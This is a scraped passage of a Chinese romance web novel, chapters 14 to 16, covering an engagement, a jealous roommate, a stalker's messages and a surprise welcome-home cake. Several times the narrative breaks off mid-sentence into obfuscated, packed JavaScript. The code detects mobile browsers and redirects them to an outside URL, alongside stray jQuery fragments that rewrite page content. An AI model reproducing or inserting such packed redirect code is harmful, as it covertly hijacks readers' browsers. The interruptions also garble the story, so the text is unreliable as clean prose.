易谌耐心地重复一遍:“我们……” 这次黎珞言抓紧时机打断了,他弯眼笑道:“可是我就很喜欢你。” 易谌:“……” 他觉得这人口中的喜欢,就和喜欢晴天、喜欢风筝一样,不适合当真。 但被黎珞言那双亮晶晶的眼睛这样看着,易谌嘴里的话哽噎了好几次又统统被咽回去了,艰难道:“我们订婚吧,可以、相处一段时间试试。” 黎珞言心满意足地弯起眼睛,拿出终端,和易谌加了正式的联系方式。 餐桌上的菜果不其然被吃光了,践行了不浪费的准则。易谌第一次发觉自己胃口居然能这么好,看着黎珞言吃饭认真又专注的模样,他都忍不住多吃了不少。 他在心里想,黎珞言在星网做吃播绝对是能干出一番事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532039|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业的。 嗯……长身体。 * 尹惟回到宿舍之后,发觉这一天发生的事情是真的多,多得她有点头晕了。再加上奚元在她耳边痛嚎了一下午,她现在都感觉耳朵隐隐作痛。 一走到床边,她就疲惫地瘫倒在床上,脸深深埋在被子里,一个字也不想多说。 “怎么了?累成这样?”同宿舍的女生笑着,忍不住问她。 尹惟有气无力道:“心累。” 忽地,她终端响了。 她面无表情地摸出终端,看着通话界面上显示的“岑洺”两个字,深深地皱起了眉。 这谁啊? 她冥思苦想了好一会儿,终于想起来,这是她哥的一个朋友,之前不知道什么时候加上的联系方式。 尹惟坐直身子之后,接通了对话。 “尹惟妹妹?” 那头传来一个听起来有几分轻佻随性的男声。 尹惟闭了闭眼,一边按着额角,一边微笑着,语气温和地回道:“你好,请问有什么事吗?” “啊,是这样的。我今天第一次驾驶飞行器上路,不小心撞上个人,这个人你也认识,就是——黎珞言,我记得听你哥说你们关系很好。” 尹惟听着听着脸上笑容没有了,原来今天中午看到梨子衣服上的痕迹是这么来的。她面无表情地继续听着。 “哎!我当时整个人被撞晕了,稍微清醒过来之后他人就不见了。但我想了一下午实在很过意不去,想找到他的联系方式和他道个歉也没找到途径。你哥在出任务,由于磁场问题我联系不上他,所以想来想去,还是来找你了。” 从他的话中不难听出他是真的想道歉,但似乎是习惯成自然,即便是这样正式的话也因为他自带七分上挑的语调,听着就跟玩笑话似的不正经:“能给哥一个他的联系方式吗?哥请你吃饭。” 尹惟态度冷淡:“……哦。” 想到今天看见黎珞言擦破的衣服裤子,还语气轻松地说自己只是摔伤了的模样,她的心情就好不起来。 思索几秒之后,尹惟的嗓音再次带上了笑:“不好意思啊岑洺哥,黎珞言他向来不加陌生人的终端的……原来他今天伤成这样是因为被你的飞行器撞了啊,我看了下,伤得还挺重的,嘶……要不这样吧,我列一份补偿清单,岑洺哥你按着清单准备一下,再由我转交给黎珞言。” 岑洺:“……啊?”不是?s级哨兵能伤多重啊?怎么还给他列上补偿清单了?? “嗯?”行动力极强的尹惟刚说完就已经开始撰写补偿清单了,声音听着是含笑的,“是我的请求太过分了吗?抱歉,要是岑洺哥不愿意的话,也可以再找别人想想其他办法。” 岑洺:“……行。” 他顿了顿,最终还是很爽快地说:“你把补偿清单列好之后发过来就行。确实是我有错在先。” 嘴上说的爽快,挂了电话之后,岑洺开始虔诚祈祷,不要太贵不要太贵不要太贵…… 14.第 14 章 “咚咚。”大清早的,宿舍门被叩响了。 奚元猛地睁开眼,困得眼睛无神。他眼下一片青黑,使劲按了按额角才勉强清醒一点,起身准备去开门,结果一扭头看见舒舒服服侧身睡着的黎珞言,气不打一处来,过去把人的被子掀了。 “嗯?”黎珞言的声音带着浓浓睡意,闷闷地发出充满疑惑的一声。他艰难地睁开一只眼睛,绿色的眸子里一览无余全是茫然。 “有人敲门。”奚元臭着一张脸,往门口走过去,给外面那人开门。 黎珞言似乎若有所思地点了点头,声音拖长,慢悠悠地“喔——”了一声,然后艰难睁开的那只眼睛啪嗒一下就合上了,薄薄的一层眼皮将盛着水色的绿眸重又盖住。 他把自己的被子又扯了回来,整个人缩在被子里,翻了个身,面朝着墙继续睡。 奚元打开门,身子懒懒地倚在门框边上,视线落在门口的箱子上。他轻轻挑了下眉,嗓音含着明显的困倦:“有什么事吗?” 常西看着他眼下格外明显的黑眼圈,忍不住“哇”了一声,发自内心道:“你这是晚上偷偷加练了吗?这么勤奋。” 奚元轻“啧”了一声,舌尖抵着牙,眼睛眯起来,扯出一个假得不能再假得笑来:“我有病吗?我大半夜不睡觉出去加练?” 他是真的没想到,黎珞言上周才和他那个什么匹配对象见了面,说了些要订婚什么的乱七八糟的话。 他还想着最早也得过一长段时间才能看见他们订婚的消息了,结果昨天晚上闲着无聊刷星网,居然让他在首页看到了黎珞言订婚的消息。 黎珞言!订婚了!最先知道的居然不是他?! 奚元大半夜地从床上坐起来,终端差点被他捏碎了。 他冷着一张脸站在了黎珞言的床边,瞳孔缩成一条猫瞳似的细线,盯着黑发哨兵的脸看了许久,月光从窗户外面打进来,照亮了他半张脸,看上去阴森森的。 而床上的人完全没有察觉,熟睡着的神情放松。最后奚元缓缓吐出一口气,换了衣服出了门,下楼吹着冷风跑了十公里。 而大半夜出宿舍跑了十公里的下场就是第二天立竿见影的黑眼圈。 奚元完全不想提这件事,更不想让别人知道,他居然是从星网上知道黎珞言订婚的消息的! 常西看出来他心情不好了,但还是一个劲儿地往房间里面瞅,想看看黎珞言在不在里面。他上次被他救了一命,一直没找着机会感谢。 奚元看出了他的意图,“呵呵”笑了两声,往外面跨了一步之后顺手把门给关上了,完完全全阻绝了常西努力往里面瞟的视线。 常西:“?” 看见常西的表情一瞬间难看起来,他的心情勉强好了一点,朝着箱子努了努嘴:“这什么?” 常西双手环抱着,说话也不耐烦了:“哦,我看尹惟在论坛上发帖,找人帮忙送东西过来,跑路费30个星币。我顺手就接了。” 奚元不信:“你差那30星币?” “我勤工俭学,不行?”常西瘪着嘴。说完这句,他又实在按捺不住好奇心,很勉强地和奚元来了个对视,“我听说,黎珞言订婚了……哎!我靠!你是不是有病!” “砰!”的一声,门被使劲关上。箱子也被拖进门内了,门外只剩常西一个人。他揉了揉被门撞上的鼻子,忍了半天,还是没忍住:“艹!” …… 黎珞言被这一声震醒了,翻了个神,茫然地睁眼看着奚元,开始放空。 奚元把箱子拆开了,最上面是一张字条,是尹惟的字迹:梨子,这些是上次和你的飞行器撞上的人给的补偿! 感叹号后面画了个歪七扭八的胖梨子。 看到这张字条的奚元第一反应是,什么飞行器?什么撞上? 箱子里面的东西还挺繁杂的,一些枪支机械,还有营养液什么的。 奚元见黎珞言醒了,把字条递了过去,紧抿着唇,一言不发。 黎珞言盯着他眨了眨眼睛,看完字条内容之后,从枕头后面摸到终端给尹惟回了条消息,表示自己收到了,还附赠一句:【你画工有进步哦![眨眼小狮子.jpg]】 尹惟:【那肯定!易如反掌好吧![叉腰.jpg]】 奚元一想到黎珞言订婚的消息心里就堵得慌,他又想下楼跑个十公里了,不,这次还是跑个二十公里吧。 “奚元!” 黎珞言扯了扯他,奚元臭着脸转过去,语气生硬:“怎么了?” 黎珞言坐直身子,靠着墙支撑住身体,奚元就看着他把被子往自己怀里扯,刚想问他在干嘛,就被被子直直砸中。 被子散下来把他的视线挡住了,眼前一片黑。 黎珞言隔着被子拍了拍他的头,得逞似的轻笑了两声,嗓音懒洋洋的:“奚元你开关门小声一点,都把我吵醒了。” 奚元头顶着一床被子,面无表情回复:“知道了,我下回拿个喇叭在你耳边放山歌。” 话音刚落,被子就被外面的人骤然挑开了。奚元闭了闭眼适应突然的光亮,一睁眼猛然撞上一双弯起的浸满纯澈笑意的绿色眸子。 他心脏猛地一跳,迅速开口掩饰自己激荡的情绪:“你……嗯??” 黎珞言伸手把他嘴巴捏住了,就像捏小鸭子嘴巴似的,嘴上慢吞吞谴责道:“不可以这样,你如果真的这样做,我就要去告状了。” 奚元愤慨:“唔唔唔!!唔唔!” 黎珞言像是真的听懂了似的,还煞有其事地点点头,凑近看他:“那你保证要和我道歉。” 奚元受制于人,犹豫片刻后,摆烂般快速点了两下头,不情不愿地回应:“唔!” 黎珞言松开手,哼了一声,道:“其实你态度一点都不好,但是我可以再给你一次机会,听听你认错的态度。” “哈!那你还挺大度。”奚元别过头去,停顿了好一会儿之后,极不情愿地吐出一句:“对不起。” 黎珞言竖起耳朵,凑近听,才勉强听见了这声若蚊呐的一句,而且字眼还极其模糊,咕噜咕噜就带过来。 但听到之后他还是弯起眼睛,拍拍他的肩,大方道:“没关系。” “那你!”听见自己下意识发出的控诉,奚元停顿一下,稍微控制了下自己的语气,努力让自己看起来没那么败犬,一副站在好兄弟立场的模样:“你订婚怎么不告诉我?我们不是最好的朋友吗?你是不是也要向我道歉!” “唔,”黎珞言思考了一下,起了身,一边在衣柜里翻翻找找,给自己找出门的衣服穿,一边真诚回道,“我感觉你好像不太想我订婚……既然你不高兴,我就想着,干脆过段时间再和你说了。” 奚元滞了声,火也一瞬间消退了。 ……他有表现得这么明显? 黎珞言把衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559073|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找好抱在了怀里,往卫生间走,关门前探出个头说:“哥不是今天从污染区回来吗,你快换衣服,要来不及了。” 他洗漱完,换完衣服出来,发现奚元还坐在椅子上抬头望天花板、似乎正独自忧伤。他迅速把人拉起来,推进卫生间里,催促道:“真的要来不及了,别磨蹭了。” 卫生间门被关上,黎珞言撕开一管营养液,叼在嘴里,抓紧时间补充能量。坐在椅子上后,他打开终端,准备看一眼具体时间,却看见陌生信息接二连三地跳出来。 黎珞言脸上的情绪向来不多,大多时候是冷脸或者弯起眼笑的模样,但这一次眉眼间却浮现出了显而易见的厌恶,绿眸中是浓烈的厌烦。 陌生号码:【小梨,梨子,你怎么订婚了也不和我说一声啊?】 陌生号码:【没事的,现在也可以解除婚约,你知道的,我也是向导,你需要精神疏导,我可以和你做啊】 陌生号码:【我的资料被匹配库删除了,好遗憾,不能看见我们的匹配度了,但一定不会低的,不然我怎么会一看见你就*了,对吧】 陌生号码:【为什么不回我消息?】 陌生号码:【为什么为什么为什么】 陌生号码:【小梨子,为什么不回我?】 语气从一开始的故作熟悉的亲昵,到后面久久没有得到回应的气急败坏。 那边又发过来了好几张照片。 黎珞言往下面划了一下,全都是他近半个月以来的照片,在学校,在宿舍楼道,在餐厅…… 陌生号码又发过来了新的信息:【没关系的小梨,我知道的,你只是在害羞】 陌生号码:【好想你,只能隔着照片看着你根本不够……】 黎珞言冷着脸,拧起眉,轻点屏幕,简明扼要:【恶心。】 没等回复,他迅速把这个号码拉黑了。 ……又要换号码了。 黎珞言咬着营养液,心情糟糕透顶,他真的不知道对方到底是从哪里打听到的他的联系方式。 从中学时的突然一天开始,这个人就致力于给他发各种各样、奇奇怪怪的信息,换了无数次号码,但语气措辞一模一样。 长时间的、仿佛暗处蟑螂般阴暗窥伺的目光惹得黎珞言这样性子温吞、好脾气的人都厌烦了起来,后来又发生了很多事,在那之后他就没再收到这个人的来信了……直到今天,他订婚消息公布的这一天。 怎么会这么阴魂不散? “梨子,我收拾好了。”奚元靠在墙上,低着头懒懒散散地扣皮带扣子,嗓音有点恹恹的。 黎珞言睫毛颤了一下,慢悠悠地“哦——”了一声,手上平静地把陌生号码发来的信息删掉了。 黎珞言起了身,把椅子上的外套拎起来穿上了。是很有春天味道的浅绿色,穿上之后衬得他皮肤很白,他随手把头发往后捋了一下,松手后,黑发又垂下来,露出了光洁的额头。 他手握成拳,轻轻捶了下奚元的肩,等对方看过来之后,弯眼道:“对了,你黑眼圈怎么这么重?” 奚元伸手一把揽住他的肩,头磕在他的肩上,轻描淡写带过:“没睡好。” “那我抹点墙灰给你遮一遮?”黎珞言抿抿唇,开始发挥想象力,“或者我把冰箱里的奶油拿出来给你抹点……哎!” “别思考了。” 奚元面无表情拉着他就往外面走。 15.第 15 章 宽敞的别墅里,书柜上、桌子上摆着零零散散的物品,充满了生活气息。 本来是提前说好在尹祁青回来的第一时间就见面的。但由于两个男生从起床到路上都磨磨蹭蹭,再加上尹祁青又提前回来了,他们立马改了地点,说是在房子里见面。 房子占地面积不算特别大,周围有树有水,环境很宜居。 “是的,我已经到达了。温暻?他大概也快到白塔了吧。”身上作战服还没换下来的高大哨兵有着一头利落黑色短发,其间夹杂着雾霾蓝挑染,和尹惟如出一辙。 他一边和终端那头的人对话,一边往房子里走,步子迈得很大,嘴角噙着笑,“不用举办什么欢迎会,家里有人等着我呢。” 走到门前,他没急着开门,对着终端那头敷衍了几句,挂断之后收起终端,这才用指纹开了门锁。 门刚一打开,门框边直愣愣探出三个脑袋,层层叠叠的,似乎是要给进门的人一个惊喜。 第一个脑袋·尹惟笑眯眯挥手:“哥!” 第二个脑袋·黎珞言眨眨眼睛:“哥。” 第三个脑袋·奚元跟上队伍,打招呼道:“尹祁青。” 尹祁青忍了忍,还是没忍住笑出声:“嗯,我回来了。” 他往房子里踏进一步,下一秒“砰”的一声,彩带假花从可手持式礼花枪里哗啦啦喷了出来。 灰尘扑扑的作战服上瞬间沾满了五颜六色的小彩片和彩带。 尹祁青弯了弯唇,完全没有露出任何惊讶的情绪,很是无奈地把落在领口的假花摘了出去,假花上大概是浸了香薰,有股很清新的甜香味,是在污染区深处闻不到的味道。 见状,一直盯着他微表情的尹惟失望地叹口气:“没有惊喜到吗?” 奚元耸了耸肩,漫不经心接话茬:“每次都是这些,翻来覆去一点新意都没有,换我也不会再惊讶了。” 尹惟反驳:“可是我这次往彩带里加了花!” 尹祁青走过来随手揉了揉她的头,笑着说:“挺惊喜的,完全没想到啊。花很漂亮,彩带也好看,如果最后不是我来打扫就更好了。” 尹惟目移,左看右看地慢吞吞移到沙发边上坐下了。……唔,反正她不打扫。 奚元也抓了抓头发,立刻紧跟着坐在了沙发上。 尹祁青失笑,弯眼望向他们的方向,正巧和看过来的黎珞言对视上。 黎珞言微微偏了下头,举手表示:“其实我们还有准备别的惊喜。” 沙发前的大理石桌上摆着一个明显的礼物盒,上面系了一个端端正正的蝴蝶结。 尹祁青有些惊讶,好几次都一成不变的“欢迎会”终于有了点新意了。 他走上前,开始拆礼盒。 坐在沙发上的三个人也盯着他拆礼物,目光炯炯。 蝴蝶结带子下方压着一张浅蓝色风筝的贺卡。尹祁青打开看,里面是一个手绘的蛋糕,旁边是一个黑发中几缕雾霾蓝挑染的男性小人,正站蛋糕旁边,低着头闭眼许愿,几缕实体化的暖橙色光束落下来,立马将偏暗的画面点亮了。 尹祁青的手指轻轻滑过贺卡上的手绘画,滑过层层叠叠、沾满彩色糖果的蛋糕,又落在画上的自己身上。 “欸,这个贺卡怎么在这里?” 尹祁青偏过头,黎珞言正好凑近了蹙眉盯着这张贺卡看。这个角度,他垂下眸,视线正正落在少年细碎的黑发上,视线微偏就注意到了少年右耳上那颗闪闪发亮的银色耳钉,在晃动的黑发半遮半掩下,亮得惊人。 黎珞言严肃地盯着这张本该被装在礼盒里面的贺卡,想不出怎么就在准备期间出现了这样的差错。他朝尹惟看去,充满疑惑地眨眨眼睛。 尹惟也朝他眨了眨眼睛,做口型道:完了,忘记放进去了。 说完之后,她小幅度地摊摊手,表示糟糕糟糕。 黎珞言认真地看完她的口型,但字数太多,他看不明白,但也稍微明白了一点点。 他收回视线,悄悄伸出手,捏住贺卡边沿,把它从尹祁青手里小心翼翼地、一小点一小点地往外抽。尹祁青手上撤了力,于是他很轻易地就拿过来了,把贺卡合上抓在手里背至身后。 尹祁青笑着看他藏贺卡的动作,又看着他勉强藏好之后歪歪头看过来,绿眸亮晶晶问他:“哥还没仔细看吧。” 望着人时一眨不眨的眼睛就好像在说“拜托拜托”。 尹祁青十分配合地点点头,眯着眼,仿佛是在思考,回想几秒后得出结果:“只瞥了一眼,好像画了个小人?” 他表现得像是真的没看清,在仔细回忆一样。 黎珞言微微松了口气,又扬起笑:“哥你继续拆礼物就知道了。” 尹祁青便继续拆礼物,一边拆一边说:“那这次我真的有点期待了。” 他把外面的红色盒子打开,发现里面还有个橙色盒子。看了几秒之后,他又开始拆橙色盒子,手指卡在盒子下方,往上抬取下之前,他先是停顿了几秒,才往上抬。 橙色盒子下方果不其然出现一抹黄色。 尹祁青松手,橙色盒子又重新落下,盖住了里面那层黄色盒子。他半是无奈半是想笑,看向旁边正襟危坐的三个人,这三人似乎还对自己准备的惊喜很满意,一脸期待地看着他,仿佛在催促他继续拆下去。 尹祁青按了按额角,转回头继续玩这个拆盒子小游戏了。一边拆,一边想,这次到底又是谁想出来的创意呢?这么聪明的主意居然还能得到全票通过,真的也是很难令人相信……但想想是哪三个人,倒也—— 倒也是能做得出来的。 黄色盒子也被拆开了,他开始拆绿色盒子的蝴蝶结,一边拆一边拖长语调说:“哇。让我猜猜,这个里面是不是一个青色盒子呢。” 他手指扣住绿盒子下边缘往上抬,几乎都能想到会映入眼底的颜色了。 盒子被抬起,一瞬间的色彩却是极具观赏性和冲击力的彩色。 尹祁青稍微愣了愣,耳边炸响整齐的一声:“Surprise!” 绿色盒子被搁到一边,里面是一个沾满各种颜色糖果和巧克力彩针的奶油蛋糕,蛋糕旁边是一个闭眼低头许愿的雾霾蓝挑染Q版小人。 俨然就是方才贺卡上画的情景。尹祁青记忆力很好,贺卡上的蛋糕和小人完全是根据这个等比例缩小复刻的,当然贺卡上画的自然是比做出来的立体小人要精致许多。 黎珞言趁他不注意迅速把贺卡放回了原本它该在的蛋糕底座上面。然后不经意间把手放在了贺卡旁边,努力让尹祁青注意到忽然出现蛋糕边上的这张浅蓝色贺卡。 尹祁青稍微有点愣神。黎珞言弯起眼,回过头对着也正关注情况的两人轻眨了一下右眼。 有一点点不完美,但成功! 尹祁青成功注意到他的暗示,拿起贺卡翻开,看得极其认真,挑了下眉:“把我画得还挺帅的,而且……真的和我有点像。” 这种Q版小人他一向分不出区别的,大多长得一样,但黎珞言画的这张他,粗略一看蛮像的,仔细看就越看越像了。 黎珞言被夸了,大大方方地点点头,对他这句话持肯定态度,笑起来:“因为和哥很熟悉呀。” 尹祁青把贺卡仔细收了起来,避免不小心损坏。他准备一会儿找个相框装进去,放在床头柜那里。画得这么像他,他肯定要多看几遍才好。 收好后,他重新看向轻轻碰了碰蛋糕边上那个小人,好奇道:“这个人能吃吗?” “咳咳!”奚元故意咳嗽一声,把视线吸引过来之后,开始长篇大论道:“我一开始是准备用粘土捏的,但是!” 他微抬下巴,“但是在我准备动手做的时候,我转念一想,尹祁青看见这个小人,肯定会想着这能不能吃,所以我为了让这份迎接你的礼物更加具有体验感,我特地做成了能吃的小糖人。好了,我现在要回答你了,可以吃,而且你如果不吃的话就是辜负我的努力。” 尹祁青:“啊……” 其实并不想吃齁甜的糖人。 奚元环视一圈,发现没有人露出那种他想象中的很惊喜的表情,他不服气,极其不经意地提起:“这个小糖人我做了挺久的!” 又沉默片刻,黎珞言率先捧场鼓掌:“好厉害。” 尹惟一言难尽地看着许愿小人,不走心地夸了句:“厉害。……” 这里有零个人想吃糖人。 尹祁青叹了口气:“那……我先许愿吧。” 关上灯之后,只有蛋糕上被点燃的蜡烛带来亮光,暖橙色的烛火在眸底跳跃。 尹祁青被他们要求着要双手合拢许愿,他拗不过无奈照做:“怎么弄得跟过生日一样了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他很能理解地点点头,偏过头去找尹祁青的眼睛。和对方对视上之后,他先是弯起眼睛,笑容明媚,然后朝他轻眨右眼,用气声说:“没问题的。” “嗯?还没许好愿吗?”尹惟突然开口,她闭着眼,不知道怎么这么久都没动静,挠了挠头,“哥你再不吹蜡烛的话我吹了?” 尹祁青闷笑了声,出声道:“小梨吹蜡烛吗?” “嗯?”黎珞言一时没反应过来,疑惑地看着他。 尹祁青耐心重复一遍:“吹蜡烛。” 黎珞言慢半拍地“哦”了一声,顺手把手里的“小小勇士”徽章放回了外套口袋里,稍微离蛋糕近了些,嘟起嘴轻而易举吹灭了蜡烛。 蜡烛熄灭之后,屋子里就黑了下来。但作为五感增强的哨兵,在黑暗中视物是绝对没有问题的。 黎珞言环视,思索,接着拍拍奚元,理直气壮:“你离得最近,你去开灯。” 奚元的视线沉沉,直直落在他方才放东西的外套口袋里,被黎珞言拍了一下,他停顿片刻后才移开视线、做出反应。 开了灯之后,屋子里又亮堂起来。 黎珞言快乐地拿着盘子等蛋糕吃,分到蛋糕之后还被分到了四分之一块小糖人。 尹祁青在切雾霾蓝挑染小糖人时,其实是遭到了一致反对的。 ——这种照着人做出来的Q版小人被切开太不吉利了。 奚元的原话是这样说的。 但尹祁青不相信这种迷信的东西,而且他看着这明显齁甜齁甜的糖人,就难以下口,根本吃不完一整个。一番激烈讨论过后,尹祁青表情一言难尽地把糖人磨平到像刚出炉几乎变成一个球球了,才被允许分成了四部分。 黎珞言有些好奇地舔了一口自己被分到的糖块零部件,然后在另外三个人的注视下默默缩回了舌头。 ……难吃。 他舔了舔嘴唇,一声不吭地开始吃自己盘里的蛋糕。 好了,能猜到有多难吃了。 尹祁青站起身,问道:“你们吃饭了吗?” 黎珞言眼睛一下子就亮起来,舌头一卷把嘴唇上沾着的奶油抿了回去,可怜巴巴地抬起头望着尹祁青:“要饿晕了。” 闻言,尹祁青点点头,温声说:“好,我去做饭。” 16.第 16 章 黎珞言是真的饿了,低头快速吃了好几口蛋糕之后,一抬头突然发现四周一个人都没有了。 黎珞言:……? 他端着盛蛋糕的小盘子,往厨房里面走。 他探了个头往里面瞧,尹祁青正在洗鱼,尹惟搭了个小板凳坐在边上择菜,由于低头的动作,扎起来的头发总顺着脖子往下掉,她转了转脑袋,试图靠头把头发甩到后面去。 黎珞言见状,顺手帮她把头发往后挪了下。 尹惟双手腾不出空,仰着头侧过去看他:“梨子快帮我盘一下头发。” “哦——”黎珞言慢吞吞应下,把盘子随手放在橱柜台面上,嘴里咬着蛋糕塑料叉子,低着头给尹惟扎了个丸子头。皮筋绑好之后,看上去挺完美的丸子头瞬间就掉了几缕黑蓝交错的头发下来。 黎珞言看了两秒,道:“得拿发卡固定一下。……怎么有个人去偷懒了吗?” 他左右看了看,没看着奚元的人影,“唔”了一声,慢吞吞说:“那我把那个偷懒的人喊过来,顺便让他拿一个发卡过来吧,他应该知道放在哪儿的。” 说着,他已经拿出终端,准备打给奚元了。 “算了,这样也不是很影响,”尹惟晃了晃头,确实感觉散下来的几缕影响不到她择菜,于是低下头继续做事,一边解释道,“他说他必须得睡会儿觉了,不然真的会猝死。猝死之后变成鬼,爬都要爬过来找我们。” 黎珞言想象了一下那个画面,立马把终端收了起来,抿了抿唇,真切点头,“那还是让他睡一会儿吧。” 尹祁青开始切鱼了,他身上系着条没有图案的纯色围裙,嘴角噙着笑,刀刷刷刷往下切,下刀精准。 他一边切着鱼,一边开口说话,似乎是真心疑惑:“我发现了个很奇怪的事,小梨一直很爱睡觉我知道,但是你们两个怎么也开始睡不够了?怎么?睡觉这东西待久了也会趋于一致吗?” 尹惟听出来他这句话是在揶揄黎珞言,一挑眉笑起来,漫不经心地说:“是哦,梨子你怎么回事?” 黎珞言往柜台边挪,慢得跟蜗牛似的,反应也慢慢的,用叉子叉了块蛋糕吃进嘴里,又挖了块碎糖喂进嘴里。 精心挑选洒在蛋糕上的碎糖很甜,入口后那股甜味就炸开。 他把碎糖嘎嘣嘎嘣咬得更碎,盯着蛋糕,又挖了一块,这才慢吞吞回了句:“……讨厌。” 他大口吃着,几乎快要吃完了。 尹祁青转过头来,脸上带着笑,朝着黎珞言手里的盘子努了努嘴,问道:“蛋糕好吃吗?” 黎珞言一个字一个字往外面蹦,极其肯定:“当然好吃。” 尹祁青若有所思点点头,朝他挑了下眉:“那让我尝一口。” 他双手刚处理了鱼,又在处理蒜等调味的东西,腾不出空,便很自觉地张了嘴,等着面前的人给自己喂一口小蛋糕。 黎珞言看着剩的最后那一小块,犹豫了片刻,叉子悬停在小蛋糕上。要不要一分为二呢? 他想了想,尹祁青今天才回来。于是叉子还是把整块都叉上了。 尹祁青张口咬下那块蛋糕,看着黎珞言低着头眨巴眼睛,冷肃的眉眼不禁漾起笑意,故意大声地啧啧两声:“吃你这么一小块蛋糕,你还犹犹豫豫的,不是说给我准备的蛋糕吗?” 黎珞言站在洗手台前开始洗盘子叉子了,闻言,努力为自己辩驳,很没有底气地说:“没有犹豫。” 他含糊说完这四个字,刚好洗完了盘子,把东西放回原处后,他转过身来,看向尹祁青,旋即眼睛一弯,月牙似的:“就是给哥准备的蛋糕,想吃多少就吃多少。” 尹祁青其实对吃的兴趣不大,爱吃东西的毫无疑问是黎珞言。说起来,他的做饭这项技能,还是因为黎珞言点亮的,一回生二回熟,做饭做多了之后,做出来的味道也越来越好了。 黎珞言背着手走来走去,东张西望看看自己能做什么,但没发现,于是问道:“有什么需要我的地方吗?” 尹惟择完菜之后在看终端了,听见之后也抬起头,听有没有什么任务再派下来。 “我自己来就行,你们还是去客厅玩吧。”尹祁青觉得他自己干活的效率还要高些。 尹惟朝他竖了个大拇指,立马愉快地出了厨房,黎珞言却还没走,在没多大点的厨房踱步。 尹祁青看向黎珞言,笑道:“怎么不休息一下?不是快饿晕了吗?” “哥。”黎珞言先喊了一声,然后就不说话了。 尹祁青耐心回道:“嗯?怎么了?” 他备菜时走来走去,黎珞言就跟在他后面亦步亦趋地走:“联赛的队长名单出来了。我的名字在上面。” 尹祁青的动作一顿,皱了眉,似乎在思索,轻声呢喃:“为什么会?” “我也不知道,我的名字就在上面了。”说起来,黎珞言还有点被赶鸭子上架的委屈,他把原话一本正经地复述了一遍,“老师说,是为了平衡每组实力……” 说完,他惆怅地叹出一口气,小声嘀咕,“而且都没有人提前告诉我。” 平衡每组实力? 虽然黎珞言实力确实很强,但毕竟是一年级新生,还没有去过污染区深处。学校再怎么平衡实力也不至于让一年级新生当队长还不提前通知本人吧。 尹祁青眉头紧锁,他有点怀疑是执政官下的命令,但也只是毫无根据的猜测罢了。 队长名单已经出来了,事已至此,也不能变动了。 队长名单出来的时候,尹祁青还在污染区出任务,错过了询问的最好时机,他准备着明天或者后天去问问别人,看有没有知道具体情况的。 见黎珞言垂着眸无精打采的模样,尹祁青专注看着他,温声问道:“找好队友了吗?” 一听见这话,黎珞言莫名泛起一阵心虚,移开和对方对视的眼神,吐字含含糊糊:“啊……找到了两个。” 尹祁青继续关心:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572917|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊。” 黎珞言别开视线,盯着自己的鞋尖,慢吞吞说话:“……找到了尹惟和奚元。” 尹祁青扬起半边眉,笑道:“这么说我的队里只剩两个人了?” 4-2=2,计算得没错。 黎珞言点点头肯定他:“是这样的。” 尹祁青刚从污染区回来,就得知了自己得重新找队友参加联赛的事。 但他脸上还带着温和的笑,心情倒是没受影响,问道:“那向导呢?你有想法吗?” 黎珞言像卡了机一样一顿一顿地摇头,又叹一口气:“还没找好。” 他不习惯和陌生人相处,因此他需要找到一个认识的向导,同时这个向导还需要能够给他做精神疏导,要完全满足这两个条件的向导,说实话,他居然还真找不出来几个。 锅里的红烧鱼片已经初见雏形了,香辣味从锅里一点点沁出来,诱人得不行。 黎珞言忍不住吸了吸鼻子,闻着香味,视线跟着香味就跑到锅里去了,盯着香喷喷的红烧鱼,喉结滚动了一下。 尹祁青也在看着锅里的鱼片,一边熟练地翻炒,一边和他说话:“温暻应该还不知道你当队长这事。” “温暻哥也刚回来,当然不知道了。”黎珞言眨眨眼睛,不明白这个为什么还要自己来提醒。 “我的意思是,如果他愿意的话,你会邀请他去你的小队里吗?” 黎珞言思考起来,嘴里轻声道:“啊——” 尹祁青补充道:“你们三个都是一年级生,没有比赛经验,除了实训课之外也基本没去过污染区。如果温暻去你们队里的话,应该能帮到你很多。你知道的,他是白塔首席,白塔里的向导几乎没几个能力比他强的。” 黎珞言继续思考,他是真的在认真想这个问题。没有这种让尹祁青沦为光头司令的道德约束之后,确实去找温暻商量换队的事比较好,但是他也不知道自己在纠结什么。 